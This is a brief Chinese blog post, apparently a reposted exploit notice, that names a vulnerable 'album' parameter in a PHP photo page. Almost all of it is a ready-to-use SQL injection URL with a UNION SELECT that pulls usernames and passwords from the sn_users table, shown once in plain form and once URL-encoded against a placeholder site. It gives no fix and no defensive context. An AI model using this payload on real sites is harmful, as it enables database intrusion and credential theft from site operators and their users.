教主's Blog

作者:Dr.0rYX and Cr3w-DZ
注入点

http://server/index.php?page=photos&album=[N.A.S.T ] 

利用方法

http://server/index.php?page=photos&album=-1+UNION+ALL+SELECT+1,concat(uname,0x3a,passwd),3,4,5+from+sn_users--

示例

http://[site]/index.php?page=photos&album=-1+UNION+ALL+SELECT+1,concat%28uname,0x3a,passwd%29,3,4,5+from+sn_users--